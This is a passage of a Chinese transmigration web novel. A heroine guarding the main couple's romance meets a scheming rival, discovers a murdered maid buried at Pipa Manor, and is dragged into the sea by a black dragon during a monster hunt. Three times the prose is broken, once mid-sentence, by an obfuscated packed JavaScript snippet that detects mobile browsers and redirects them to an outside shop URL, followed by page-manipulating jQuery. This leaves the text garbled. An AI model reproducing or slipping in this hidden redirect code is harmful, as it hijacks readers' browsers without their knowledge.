周春和喃喃的说:“没事……” 可是心里已经在大喊了——这个看起来楚楚可怜的小女孩竟然就是陆书雪?! 出现了,书中除了原主周春和之外,另外一个绿茶女配出现了! 她来了她来了,她扮着可怜走来了。 周春和稳住自己有些发热的大脑,仔细想了想原书中是怎么描述这个男女主第二大绊脚石的女配的,周春和还记得书中写的是陆书雪从小家里就一贫如洗,后来机缘巧合之下入了苍山这一派,走上了猎妖人的道路。不过可惜的是门中弟子大多数瞧不上她,一直使唤她做这做那。 陆书雪家里没有被景,为了在门中生存下去,只好对这些人言听计从。 不过陆书雪并不是那种无辜的小白花,从小讨生活的经历让她从单纯懵懂变得工于心计,她很有心机,并且总是以一种示弱的模样待人,让人放低防备心。 就像是现在,面对其他人的刁难时,陆书雪虽然怨恨他们,但面上绝对不会表露出一点,她隐而不发,而是默默的在心里一笔一笔的记住,等将来自己有能力了,再一举杀光所有曾经欺辱自己的人。 原本陆书雪在山上待到了及笄,然后就跟同门师兄弟一起出门闯荡历练。周春和还记得书中写的是她在一次猎妖中和师兄弟们走散了,被妖怪伤到了腿,奄奄一息之际碰巧遇到了男主,被男主救下,这才逃过一劫。 女主冰清玉洁,见陆书雪受着伤这么可怜,也只会提议带着她一起,自然不会让她离开。陆书雪和两人相处了一段时间之后,看清了男主是个真真正正风光霁月的君子,并不因她的家世而薄待她,更不会看不起她,甚至陆书雪问他一些有些无厘头的问题,裴瑾也都会耐心的解答。 久而久之,一向没有被人如此真诚对待过得陆书雪就这么沦陷在了裴瑾除了周夏莲之外对其他人一视同仁的客气温和中。 从此以后,陆书雪便对裴瑾穷追不舍,奈何裴瑾一心只有一人,目光早已无法再在其他人身上停留。哪怕是陆书雪的绿茶工艺炼的炉火纯青,哪怕是她再装可怜拌娇弱,裴瑾也不为所动。 于是爱而不得的陆书雪最后完成黑化,给主角团使了一个大绊子。 不过不得不说,陆书雪在某些方面还是和谢斯年挺像的——比如都挺腹黑,而且还有些偏执,有账默默记在心里,在自己尚且弱小的时候养精蓄锐,等自己强大了再一起算。表面上装得再小白花,可内力还是坏了芯的病娇。 周春和想到刚才陆书雪脸上的神情,又觉得似乎和傅怀玉也挺像的,因为有时候傅怀玉看向她的时候,也是这种模样。 不过周春和转念一想,怎么能把傅怀玉和陆书雪相提并论?书中写的陆书雪是绿茶,但傅怀玉可不是。 还没等她细想,周春和看着陆书雪小心翼翼端着茶水回来的身影,忽然又觉得似乎哪里不对劲,她皱着眉仔细想了想,脸色剧变——等等……她忽然想起来,书中描写的陆书雪的出场地方似乎不在这里,更不是在这个时间点! 56. 枇杷府 因为涉及到女配的剧情往往就会涉及男女主,有时还会引发男女主一系列的反应,所以周春和会格外关照。 周春和还记得就是由于陆书雪的出现,让男女主之间第一次大吵一架,还有了分歧,过程可谓是非常的酸甜苦辣,鲜中带麻,虐恋中时不时穿插点粉泡泡的甜蜜,让周春和看的爱不释手,直姨母笑。是以这一段周春和看的还是比较仔细的。 她记得陆书雪第一次出场并不是在枇杷府,或者说是,书里虽然描写了“枇杷府”,但也只是一笔带过,并没有多么的大费笔墨,而且主角团至始至终也没有踏入过枇杷府一步,更没有把枇杷府和银环山联系到一起。 不……周春和仔细想了想,书中似乎也没有提到银环山这个门派。 ——或者说是提到了,但也只是简单带过,所以周春和不记得。但看现在的故事走向,不管是银环山还是枇杷府,似乎都占据了重要的地位,这和书中描述的完全不同。 书中写他们从白庄出来之后,是顺着灵司南的指引才一路找到了阴阳城,可现实中的情况是,他们根据泊烟茶的线索才一路去到的阴阳城。虽然结果大差不差,但这些关键性的节点和书中描述的并不一样,而系统也并没有出来纠错,那是不是还是说,哪怕是关键剧情发生变化也没有关系,只要不影响男女主的感情? 那周春和的自由度岂不是大幅度提高了?是不是也就意味着周春和在保证男女主感情线和书中走向一致的情况下,做什么都可以,甚至就连主线剧情也可以随意改变? 这无疑是有利于周春和的,但也不是完全的有利,因为过多的自由度同时也就意味着过多的变故。假如剧情偏移原文,那么就连看过全书的周春和也没有办法再预测故事走向。 穿进这个世界之后,周春和既没有书中角色从小练习符纸的经历,更没有他们的天赋和对这个世界透彻的了解,所以她唯一可以赖以生存的,就是她看过书,可以提前预测接下来可能会发生的事情,从而提前规避可能发生的不好的事,促进可能会发生的好事。如果现在的故事的走向不再按照书本中进行,那么周春和在获得过度自由的同时,也失去了自己唯一一把最有力的武器。 不过该发生的都会发生,不是周春和凭一己之力就能阻止的。周春和抱着既来之则安之的态度,准备旁观事态发展,静观其变。 书中提到陆书雪出现的节点是在一行人从一个名叫大梵山的地方离开之后,去一个名叫霓裳山的地方猎妖,这才遇见了同在猎妖的陆书雪。 虽然系统也不知道陆书雪出现提前的真正原因,但是周春和多半也能猜到——在她的“搅和”下,男女主的感情一直平稳递进——毕竟男女主实际上的、真正的第一个绊脚石谢斯年,现在骚扰挑拨两人关系的频率大幅度降低。虽然周春和觉得最近谢斯年这厮变得有些诡异,比如说老是阴晴不定、时不时的在暗处观察她、和傅怀玉的关系时而好的像是穿一条裤子的兄弟、时而就夹枪带棒的冷嘲热讽,但起码他花在男女主身上的时间变少了,这也就导致原本他该给男女主使的绊子大大减少。 而男女主第二个真正的绊脚石傅怀玉,从一开始出场边把注意力放在周春和身上,现在对周春和的好感度更是达到了惊人的百分之九十五,自然就更不可能去挑拨男女主的关系。 想到这里,周春和还觉得书中对傅怀玉的描写不对。 真是的,书中还说什么傅怀玉最会挑拨男女主之间的关系,最会挑拨离间,可现在看傅怀玉明明不是这样的人嘛!这个书真是瞎写。 想着想着,周春和就忍不住扭头看向了傅怀玉,察觉到周春和的目光,傅怀玉抬手掩住唇,眼睫微微下垂,朝她露出一个温顺的笑:“怎么了?” 周春和愣了好半晌才如梦初醒,不知为何有些慌乱的移开目光:“……没事,咳,没事。” 她不仅加深了刚刚的想法——人家傅怀玉多好啊,长得好看,人又温柔,才不是书里写的那样的呢! 正是因为两个全书最主要的男配在周春和的带动之下很少在对男女主使绊子,所以使得从开始到现在男女主的感情一直都早平稳的上升,如今几乎已经升到了热恋期,但这就已经偏离了原文的描写。 原文写的是这一路上男配挑唆周夏莲,女配——也就是周春和故意接近裴瑾,这一路上三人合伙整出不少幺蛾子,男女主的感情跌宕起伏,哪里有这么平稳。 正是由于周春和改动了前面的剧情,这也就导致了后面的剧情如同多米诺骨牌一样发生了变化。 一只蝴蝶在巴西拍动翅膀是否可能引起德克萨斯的一场龙卷风,初始条件下微小的变化有可能带动整个系统的巨大连锁反应。前期周春和对剧情做出的改变很有可能会投射到后面,也就是说,或许此刻周春和做的一个决定都会影响后面的发展,而现在的每一个变化都是由于周春和之前所改变的剧情。 周春和改动了前面的剧情,所以才让陆书雪提前出现了。 不过反正陆书雪现在不来以后也会来的,周春和乐观的想,早面对早结束,早死早超生嘛! 她时时刻刻谨记着自己的任务——那就是确保男女主HE,所以在男女主相爱道路上出现的一切阻碍她都会勇敢的站出来替他们扫平,还他们一个健健康康、平平顺顺的爱情之路。 守护两人爱情的护花使者周春和握紧拳头,看着陆书雪摩拳擦掌,不就是区区一个会装绿茶的病娇?我连谢斯年这个大魔头都不害怕,连傅怀玉这个大美人都不会轻易被蛊惑,我还怕你? 看着自己这么壮志踌躇、一心为男女主的爱情之路添砖加瓦的仁义之举,周春和在为自己的感动的同时,不忘和系统感叹:“草了,男女主一定要成,这段感情里我付出的不比他俩少!” 系统同样一脸沧桑的感叹:“实则这段感情里我付出的也不比你们仨少,咱们六个把日子过好的比什么都强。” “……六个?” 系统笑嘻嘻的说:“你、我、男女主、两个男配,嘿嘿,这不就是六个了?” “……” 周春和抹了抹脸上的汗,一脸嫌弃:“还把谢斯年和傅怀玉算上了,你是一点也不亏待自己啊。” “嘿嘿,好好爱自己就会有人爱你,宿主你不知道吗?” “……你这属于是溺爱自己了有点。” 那边的陆书雪把水杯端过来之后,就静静的跟在其他人身后。其他人则边继续往周春和的方向走边大声聊天,看起来非常的肆无忌惮。 周春和和傅怀玉的身影恰好被一个大树遮住了,要是那几个人再往前走几步就能迎面撞上她俩。周春和各种树枝看着陆书雪,心说避免陆书雪带来的影响最好的方法就是从根源直接解决问题——避免陆书雪和裴瑾遇到。 不过究竟能不能做到这一点,其实周春和心里也没什么底,她准备先试试看,尽量从陆书雪连见到裴瑾的机会都没有。 周春和原本想先拉着傅怀玉走另一侧避开这些人,又担心一会儿陆书雪和裴瑾撞上引发后面一系列的事情,正犹豫不决的时候,另一边忽然又传来一阵嘈杂声。她循声看过去,只见几个家丁打扮的人正抬着一个盖了白布的担架,从抱厦的方向走过来,看样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这几个家丁看身形就完全不像是寻常家丁,更像是装成家丁的练家子,说不定还是猎妖人。而且这家丁看人时眼底深处带着阴狠,哪怕是笑着,眼神也无比阴冷。这样的人一看就不简单,刚刚那些涉世未深的年轻人只顾着看那白布盖着的尸体,根本没人仔细观察家丁,显然他们丝毫没有怀疑这些家丁的身份。 周春和想着杜儒那嫌弃的模样,不仅摇了摇头,在心里感叹,果然还是初出茅庐不谙世事的年轻人,还是太年轻了,看事儿根本不看重点啊。 她和傅怀玉一路跟着那些家丁走走停停,这些家丁显然警惕性很强,走两步便停下仔细检查周围有没有人跟着,这更让周春和觉得事情不简单。 幸好原本林子就是适合藏人的地方,风吹动树叶发出的沙沙声掩盖住了两人的脚步声,影影绰绰的树影挡住了两个人可能会露出的破绽,再加上两个人身手敏捷,配合的天衣无缝,是以那几个家丁并没有发现两人的踪迹。 等走到林子最深处的一株小枇杷树苗旁,几个人这才停下了,其中一个人不知道从哪里翻出一柄铁锹,几个人便围着树苗哼哧哼哧挖起土坑来。 周春和见状还有些疑惑——怎么的,还真打算给人送葬啊,难道是她多虑了,其实这几个人并没有坏心?不过这几人行事实在是可疑,不枉她怀疑他们。再说了,在林子里起火,还是在这种小树苗旁边,他们就不怕把林子烧了?爱护森林人人有责,不知道绿水青山就是金山银山吗?这几个人也太没轻没重了…… 这几个人手脚非常麻利,还没等周春和在心里吐槽完,一个大小适中的土坑就被他们利落的挖好了。 几个人放下铁锹,其中一个上前走到担架旁,一下子伸手掀开了白布。 这下周春和才看清白布下面的尸体,只这一眼,她的表情便僵住了,一边的傅怀玉似乎也稍稍皱了皱眉。两人对视一眼,周春和的眼神满是惊疑不定 57. 枇杷府 白布下面放着一具女尸,这具女尸身上穿着枇杷府侍女穿的那种统一服装,让周春和愕然的是这具女尸露在外面的皮肤上有许多道数不清的青紫和血痕,显然是被虐杀而亡。周春和仔细观察了一下女尸的面容,只见她面色红润,嘴唇血色充足,皮肤富有弹性,显然根本不是这几个家丁说的得痨病而亡。 不等周春和多想,那几个家丁已经利落的将女尸扔进了土坑里,显然他们经常做这种事情,三下五除二就将女尸埋好了。周春和看的直皱眉头,这枇杷府看似风平浪静,但在暗处似乎还藏着不为人知的事情。 等那几个家丁压实土坑离开之后又过了好一会儿,周春和才敢悄悄探出头看观察四周的情况,确认这几个人不会再去而复返之后,周春和才大胆的从树后走出来。 傅怀玉跟在她身边一起出来,周春和望着那几个家丁离开的方向,忍不住皱了皱眉:“这个姑娘死的蹊跷,根本不是得痨病死的,看来是有人故意虐杀了她。” 傅怀玉点点头:“看来府中并不是我们所看到的那么风平浪静。” 周春和想到了什么,目光一闪,看向傅怀玉:“若是府中寻常的家仆奴役,不可能有这么大的胆子直接在府中杀掉一个人,你说这会不会是……是那个王宽冬搞的鬼?” 傅怀玉略一思忖,道:“姑娘猜的也很有道理,只是眼下我们没有任何线索,若是贸然追问王宽冬,想必会打草惊蛇。这件事我们先回去告诉周姑娘,等商议过再做定夺吧。” 周春和点了点头:“也好,毕竟咱们现在还在王宽冬家,若是真撕破脸了,咱们不一定能全身而退。走吧,等到时候咱们确定了到底是怎么一回事再做打算。” 两个人不敢再在林中多待,一路避开刚刚家丁走的小道回了歇脚的房间。 周夏莲正同裴瑾一起画符咒,两个人靠在一起,虽然做的是一件很严肃的事情,但是脸上都带着有些羞赧的笑容。周春和敲门进去的时候,感觉两个人头顶上都在冒着巨大的粉色泡泡。 谢斯年在隔壁房间里不知道在干什么,周春和让傅怀玉把人喊过来之后,便围在周夏莲的房间里把自己刚刚和傅怀玉看到的事情说了出来。 周夏莲和裴瑾脸上原先那种轻松的神情随着周春和的话语一点点消失,等周春和的话说完了,两个人的表情也变得十分严肃。 周夏莲道:“看来这枇杷府并不像是表面上的那么平静。那女尸被埋的地方是何处?晚上趁着夜深人静时,我同裴瑾去瞧瞧,说不定能还能找到什么线索。” 周春和拿出一张纸,凭着自己的记忆仔细画出一张“示意图”来,周夏莲大致看过一边之后便将图纸收起来,又环顾众人:“今夜睡觉时把门窗锁好。春和,到时候我会在你的门外贴一张符,让其他人都无法闯进你的房间。虽然死的是府中的女仆,但不一定意味着咱们就是绝对安全的。如今事实未明,大家都要小心提防,千万不要着了道。” 周春和应了一声,又说:“阿姐,我看那几个家丁抬人进去的时候一直在提防周围的动静,你们晚上进去的时候一定要小心再小心,说不定他们会派人过去巡逻,看有没有人发现他们的埋尸之地,若是被他们抓住了,不死也得褪层皮,阿姐,你们一定要万事小心。” “好,你放心,我们一定会谨慎些。离猎妖日还有四天,这四天里咱们不仅要准备猎妖那日所需的一应东西,也要仔细瞧瞧看这府中还有没有其他蹊跷的事情。如今猎妖日才是第一位的,其余的先暂时压下去,等十五日一过再认真处理这些事。不过这几天大家也要格外注意自身安全,今日这事便是给我们敲了一个警钟。” “好,阿姐你就放心吧!” 因为这一件意料之外的事情发生,大家再也没有了刚来时的那种轻松愉悦的心情,都变得忧心忡忡起来。等夜幕降临时,周夏莲和裴瑾按照计划悄悄潜去了枇杷林。 周春和便在房间里等他们回来。 等待的这一个时辰无比难熬,周春和时而在房间里来回踱步,时而靠在窗边对着天上那轮皎洁的圆月长吁短叹,她不知为何心脏总是突突直跳,总是有些心神不宁,她担心周夏莲和裴瑾路上会出什么事情,但是又觉得他俩武力高强,应该不会有事。 就这么在一个心情忽上忽下、想法左右拉扯、揣揣不安的紧张等待中,周夏莲和裴瑾终于平安回来了。 见到两个人好端端的站在自己面前时,周春和才长长的舒了口气。 几个人围在周春和的房间里,听周夏莲叙述这一路上的经历。 原来两人这一路还算是比较顺利,并没有遇见其他人。等走到周春和白天说的那个土坑时,两人挖开了土坑,将里面的少女抱了出来。 他们仔细检查过了这具女尸上的伤痕,发现伤口都很深,甚至有的伤口是在死后形成的,也就是说这姑娘生前被人硬生生打死之后,还继续被人虐尸。 光听周夏莲的描述周春和都觉得不寒而栗:“这人对这个姑娘是有多大仇多大怨?活着这么折磨她还不够,等人不在了也不放过……” 周夏莲也同样皱着眉叹了口气道:“是啊,不知道究竟是什么深仇大恨,竟然这么丧心病狂。” 除了伤口之外,周夏莲就没再发现什么不对劲的地方。这少女看样子也就十七八岁,身上没有一件贵重的饰品,只有腰间有一个用骨头打磨成的小珠子,除此之外,她身上就没有其他东西了。 大约是见这珠子没什么用处,所以那几个家丁才没有拿走,不过周夏莲却把这珠子带了回来。 众人一一看过这个珠子,能看出珠子是用骨头一点点打磨出来,但却看不出是什么动物的骨头。周春和拿在手里仔细感受了一下,没有感受到任何东西,这似乎确确实实是一个平平无奇的珠子。 谢斯年在周春和身边,见状忍不住讥笑着仗着自己身高腿长从上面将珠子从周春和手心里拿过来:“周小姐还以为自己是神婆呢,能通过这个珠子就通灵了?” 周春和翻了个大大的白眼,转身想从谢斯年手里抢过珠子。谢斯年故意把珠子抬高到一个周春和看着明明觉得自己可以拿到、但是等真的要拿的时候却怎么都拿不到的位置,笑眯眯的看着她因为想够自己手里的珠子而蹭着自己胸口跳着往上拿。 周春和试了好几次,每次都被谢斯年躲了过去,而她还往谢斯年身上撞了好几次,每次谢斯年都笑意盎然的扯着她的头绳把她带远。她有些恼羞成怒,叉着腰正准备骂人,就见谢斯年的表情一顿,眉头下意识地就皱了起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576663|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>周春和还以为他在装模作样,乘机跳起来一把抓住了那个珠子握在手心里,得意的对谢斯年说:“我看你还躲不躲!” 谢斯年脸上的表情转瞬即逝,又恢复成了之前那种看似活泼的少年模样,仿佛刚刚那一瞬间什么都没有发生过。周春和见状冷哼一声,心说就知道他是装的,果然! 谢斯年很快若无其事道:“给你就给你了,一个破珠子而已,我才不稀罕。” “你这是吃不到葡萄说葡萄酸!算了,我大人不记小人过,不和你纠缠了。” 谢斯年还要说什么,傅怀玉便在一边不动声色的打断了他,他看向周春和,眼里带着温柔的笑:“这珠子倒是独特,应该是一点点亲手打磨出来的,看样子对那个少女的意义很深。” 周春和的注意力立刻被转移到了珠子身上,她盯着手里的珠子仔细看了看,猜测道:“你们说会不会是她宠物身上的骨头打磨成的?时刻戴在身边,也可以留个念想。” “嗯,周姑娘聪明伶俐,我猜也是如此。” 虽然已经被傅怀玉夸得都快习惯了,但是再次听到,周春和眼中还是忍不住带上了笑:“嘿嘿,咳、也就一般般吧。” 傅怀玉继续温和的笑,谢斯年的视线移向傅怀玉,触上傅怀玉避开周春和之后单独看向他时的那种带着暗示意味十足的挑衅目光,立刻讥诮的移开了视线。 不过不管两个人是怎么的明枪暗箭,房间里表面上的氛围还是十分和谐的。 周夏莲和裴瑾用一种父亲母亲看儿女打闹的表情笑着看三人吵闹,温馨的暖光之下,几个人的笑声冲淡了两人眉宇间那抹化不开的忧愁。 周夏莲转身看裴瑾一眼,忍不住叹了口气,靠在了裴瑾身上。 裴瑾立刻会意,轻轻揉着周夏莲的腰,帮她缓解这一路的疲倦,同时用自己的眼神示意周夏莲不必忧心。他们这一路已经经历了很多,这次也不算什么,他们一定能顺利查清真相的。 周夏莲的眼神也逐渐变得坚毅起来,两人头靠着头,分享着片刻的安宁时光,在寂静中感受着对方无法言明的心事。在这样危机四伏的时刻,周夏莲的却感觉不到恐惧,而是被一种温暖的感情所填满。 这四日几个人时时刻刻留心周围的事情,但是没再发现有什么异常。而且奇怪的是,就连霄无缺都似乎一下子不知不觉间消失的无影无踪,除了第一天见过他之外,周春和再也没有见过他,而且不管是问谁,都没有注意过霄无缺去了哪里。 周春和见状也就不再继续追问,只当霄无缺又像上次一样不知道去哪里玩了。 终于到了这个月的十五日,也就是大妖会来伤害百姓的这一日,大家都早早的起了床,穿戴整齐之后,便来到了前厅。 其他猎妖人也陆续来到了大厅里面,彼此都换上了打架时的装扮,看起来与刚见面的休闲模样完全不同,彼此都焕然一新,容光焕发。 就连王宽冬都穿了一身之前从来没有穿过的新衣裳,他亲自给每个人斟满酒,表情由一开始的笑盈盈变成了肃穆:“诸位,此番未必太平,还请大家各自保重,我再替这方百姓谢过大家。” 说着便郑重的行了礼,大家表情严肃的回以一礼,王宽冬又嘱咐几句之后,大家便各自上了路。 58. 枇杷府 据王宽冬所说,那些怪物生长在阴花海,乃是鲛人和猫妖的后代。每个月的十五日,它们都会从阴花海中跑出来为害一方百姓。 王宽冬说,鲛人怪生有十条尾巴,其中九条是猫尾,一条鱼尾,他们生活在海底,每月会上岸吸食百姓的魂魄果腹。前些年百姓还不善于应对,一时间死伤无数,后来王宽冬带着人来这儿了,组建人手和猎妖人有组织有计划的对抗鲛人,这才叫阴花渡的百姓们安然无恙、安居乐业。 鲛人上岸并没有准确的时间,大家只能一大早就去岸边等着。在鲛人将上未上之际,是它们最脆弱的时候,猎妖人可以趁着这个时候在岸上将鲛人杀死——这个也是王宽冬告诉大家的。 等一行人浩浩荡荡的来到了阴花海的岸边时,便能发现周围的防护网已经被王宽冬派人在前一天的晚上插好了,周围靠近阴花海的百姓也已经提前全部离开,岸边只剩下他们三十几个猎妖人。 这些猎妖人里有长期住在王宽冬家、平时靠王宽冬接济,只等每个月的十五号为王宽冬效力的,也有像裴瑾他们是路过此处,看见了告示栏中的告示才临时过来的。前几日周春和在林中看到的杜儒他们便是临时过来。 几个人里有相熟的,也有不熟的。不过如今大家也都不讲究这么多。王宽冬已经在家里摆好宴席,就等着大家凯旋而归。 时辰已经到了巳时,但是湖面依然风平浪静,并没有鲛人出没的征兆。 几个猎妖人原本还如临大敌,但随着时间的推移都已经逐渐变得松懈下来。 如今微风习习,湖面平静的如同一面镜子,将湛蓝的天空倒映无遗。远处碧空万里,连绵的山体起伏不定,四周开阔明朗,一切都恬静安宁,若不是王宽冬提前和大家说了鲛人的事情,估计大家都想象不到这看似平静的湖面底下还隐藏着这样凶险的场景。 就在大家等的有些焦躁时,湖面开始有了动静。 第一个人很快注意到了原本平静湖面的忽然开始出现了粼粼微波,于是便立刻紧张的大声警示其他人。所有人立刻再次绷紧了神经,专心致志地盯着湖面。 湖面一开始只是四处冒出小泡泡,紧接着泡泡越来越大、越来越密集,最后整个湖面开始波动起来,连成一片,成了一片令人震惊的景象,就像是水底下烧着一捆连接成片的柴火,将整个湖水煮的沸腾起来。 除了先前来这里围猎过鲛人的猎妖人对此已经见怪不怪之外,其他人皆一时间觉得惊异无比,纷纷卯足精神将自己的符纸和法器对准沸腾的湖面。 不多时,第一只鲛人露出了自己的真面目,从水底一跃而出,带起淋漓的水珠。 鲛人遍布蓝色鳞片,但头顶却是毛绒绒的,此刻已经被水打湿。这些鲛人的模样有些怪异,毕竟是和猫妖生出的后代,所以和寻常的鲛人并不是完全一样,在某些方面它们也还带有猫妖的特征。 这些鲛人的九条猫尾巴平常是不显现的,只有一条鱼尾在阳光下熠熠生辉,上面的每一个鳞片都似乎在反光,耳朵类似于猫耳,但却像是白骨的质地,手指之间有一层近乎透明的肉膜,表情凶狠,似乎带着滔天的怒火。 随着第一条鲛人从水中一跃而出,其他鲛人接连出现,像是在滚烫热油中腾跳而出的虾类。 有经验的那几个猎妖人已经紧紧抓住鲛人刚出水的最脆弱的那个时刻用自己的法器发起攻击,只见和鲛人越出水面几乎是同等的瞬间,几道银色的剑光闪过,伴随着剑影和呼啸飞去的箭矢、鞭影直勾勾的刺穿鲛人的心脏或咽喉,后面再跃出来的鲛人解连被击中,纷纷发出一声高亢的惨叫声,然后就重重地跌回水中。 这些鲛人的惨叫声和人类的声音不同,它们的声音高昂浑厚,而且无比沙哑,短促的叫出来,仿佛是一个哑巴在极端绝望之下,从胸腔里一点点挤出来的绝望恸哭。 这种声音让第一次听到的人也忍不住动容,像周夏莲和周春和这种原本就心软之人,甫一听见,顿时心里有些不是滋味起来。 不过现在根本不是心疼的时候,前面被打落的鲛人落入水中之后,后面的鲛人就紧接着涌了出来,就仿佛它们和此地的百姓有着不共戴天之仇,哪怕是全族人都死在这里,它们也在所不惜。为了保护身后的百姓,每个猎妖人不得不收起自己的慈悲,硬起心肠继续攻击。 每只鲛人都不曾有半分的犹豫,更不曾有一只鲛人退缩,它们抱着以死殉志的决心,哪怕是明知道眼前是一条赴死一路,也义无反顾的前仆后继。 不过光有决心有时候也并不能改变什么,随着一开始没什么经验的猎妖人也反应过来之后,越来越多的符咒和法器加入混战,于是被打落回水中的速度也越来越快,甚至一开始那几只好不容易上岸的鲛人也被一击毙命,又被后来的鲛人拖着尸体沉入了水中。 猎妖人显然是占了优势——这些鲛人原本就不像其他妖怪那样可以以妖力强弱反击,鲛人的主场原本就在水中,它们的妖力也大多数要依赖于水才能发挥作用,从前它们想要杀人惯用的招数也是把人引入水中,这样它们就占有绝对的优势,而不是像现在一样,明知道自己在陆地上不讨好,但依然义无反顾的接二连三的跳出来。 周春和帮不上什么忙,之后在后面跑前跑后的补给其他猎妖人。只不过她看着那些视死如归拼命想要上岸的鲛人,心里忽然生出一丝奇怪的念头——为什么它们要这么拼了命的去杀百姓? 难道真的只是因为王宽冬所说的那样,想要吸食百姓的魂魄饱腹吗? 但为了一点口腹之欲,不惜葬送这么多鲛人的性命真的值得吗? 周春和有些不明白这些鲛人的想法,但只可惜这些鲛人口不能吐言,无法和人类交流,要不然周春和高低得抓住鲛人问出一个真相来。 这些鲛人很快就被逼退了,过了半个时辰左右,再从水底下跃出来的鲛人就明显变得少了很多。 猎妖人们知道自己已经胜利在望,是以每个人虽然还在出招,但脸上已经隐隐约约浮现出势在必得的笑容。 就在大家一鼓作气,将鲛人逼得退至湖内几里的位置时,变故陡然发生了——谁也不知道那条黑色的蛟龙是从何处窜出来的,只见湖中荡起巨大的波浪,湖中被蛟龙掀起千百米高的水幕,地面如同刮起狂风暴雨,一时间所有人身上脸上全被劈里啪啦的水珠打湿。等大家睁开眼睛,那条长达百米的蛟龙便高高的矗立在眼前,挡住了大片的阳光。 蛟龙朝岸边长啸一声,叫声响彻云霄,好几个猎妖人目眦欲裂的捂着自己的耳朵,痛苦的后退了好几步。 这条黑色蛟龙从来没有出现过,这下不仅第一次见到这种场面的猎妖人吓得破了胆,就连此前来过好几次的猎妖人也都慌了神。几个年纪小的四处乱窜,抱作一团。 只听见一个稍微年长的见多识广的猎妖人指着这只蛟龙惊呼一声:“竟然是蛟龙……竟然是蛟龙啊!是传说中、传说中女娲娘娘的坐骑黑色蛟龙!大家快来参拜这位上古之神,快啊!求神明饶恕我们一命,降福泽于此地百姓啊!”说着竟然跪在原地,重重地磕起头来,同时嘴里念念有词,“竟然是神兽蛟龙!吾等叩拜蛟龙大人!快啊,大家快给蛟龙大人跪下啊!求神明保佑……求神明保佑……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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裴瑾下意识朝周夏莲跑去,正要检查她的伤口,只见周夏莲表情骤变,她指着另一个方向,反手就要将裴瑾推过去:“先别管我!春和、春和!快去救春和!” 裴瑾正想说不碍事的,怀玉和斯年已经去看春和了,但是一转头,他的话却停在唇边,脸上那好不容易挤出来宽慰周夏莲的笑容也僵住了。 只见那蛟龙趁着傅怀玉扶起周春和这个最脆弱的当口,长尾巴灵巧的一扫,将两人直接带进了水中。那蛟龙看着如此巨大,却没想到动作却如此轻便,再加上傅怀玉一心扑在周春和身上,两人谁都没有防备,于是就这么猝不及防又无比草率的被蛟龙的尾巴拖进水中。 而谢斯年腹部、肩膀和大腿处各插进一片黑色的鳞片,血汩汩的流出来,可是不管流再多的血,在黑色的衣服上也是看不出来的。他强撑着身子站起来,虽然脸色有种因为失血过多而显得不太正常的苍白,但依然咬着牙想继续往周春和的方向走。黑色蛟龙在将周春和和傅怀玉扫进湖中之后,也跟着迅速沉进湖中,不给谢斯年一点继续下去的机会。 鲛人跟着蛟龙的动作纷纷消失在湖面之下,一切都平静下来,除了岸边呼天抢地的几个猎妖人,一切都归于平静,尤其是阴花海,刚刚还热闹的如同煮沸的茶水,此刻却骤然安静下来,若不是岸边一摊狼藉,到处显示着灾后的断壁颓垣,一切就像是从来没有发生过一样。 苍茫的大地上归于宁静,太阳高高的悬挂在天空,远处升起袅袅炊烟,是阴花渡的百姓们准备做饭了。 一切就像是从来都没有发生过一样,除了周春和消失在茫茫海中。 谢斯年还面朝着阴花海的方向,他强撑了一会儿,虽然面上不显,但人已经快到极限。终于,他眼前一黑,双腿无力的跪在地上,他垂下头,长长的发带遮住布满血迹的脸庞,微风吹动他的衣袂和发丝,而他的伤口还在不断往外流血。 但人已经不动了。 59. 枇杷府 周春和觉得自己的脑袋昏昏沉沉的,眼皮也无比沉重,她想睁开眼睛,但是眼皮像是追坠了千斤的重量,怎么睁都睁不开。不知道过了多久,她的意识在茫茫海面上沉浮,忽然感觉到有人在用湿哒哒的东西擦拭她的脸颊,周春和的意识慢慢归笼,眼皮抖了抖,终于慢慢的睁开了眼睛。 映入眼帘的,是傅怀玉那张熟悉的脸。 傅怀玉正拿着湿手帕耐心细致的擦周春和脸上的污痕,见她终于醒过来,傅怀玉朝她露出一个笑:“你醒了?” 周春和“嗯”了一声,这才发现自己的声音嘶哑,她扶着傅怀玉伸过来的手想要坐起来,刚动一动便疼的呲牙咧嘴。她撸起袖子看了看自己的身体,上面青紫交错,没一块好肉,不知道是什么时候撞的。 周春和再一抬头看傅怀玉,他伤的显然比自己更重,虽然周春和身上有很多淤青,但起码没有破皮,而傅怀玉胸口和腰腹的白衣裳已经被鲜血洇透了,又被海水晕染开,显得鲜红一片。 看来白衣服的一大好处就是,可以直观的看出伤口如何,想掩饰都没办法。 傅怀玉柔声道:“姑娘渴不渴?要不要喝点水?” 周春和摇了摇头,等大脑彻底清醒之后,她仔细瞧了瞧四周的环境,周围白茫茫的一片,海浪拍打石头的声音不时的响起,咸咸的海风裹挟着水汽扑面而来。原来他们此刻身在一座孤岛上,这座岛不算小,但是也绝对称不上大,倒水有一块凸起的像是小山似的东西,不过中间是空的,如同一个小型的山洞,周围还围着许多零散的石块。 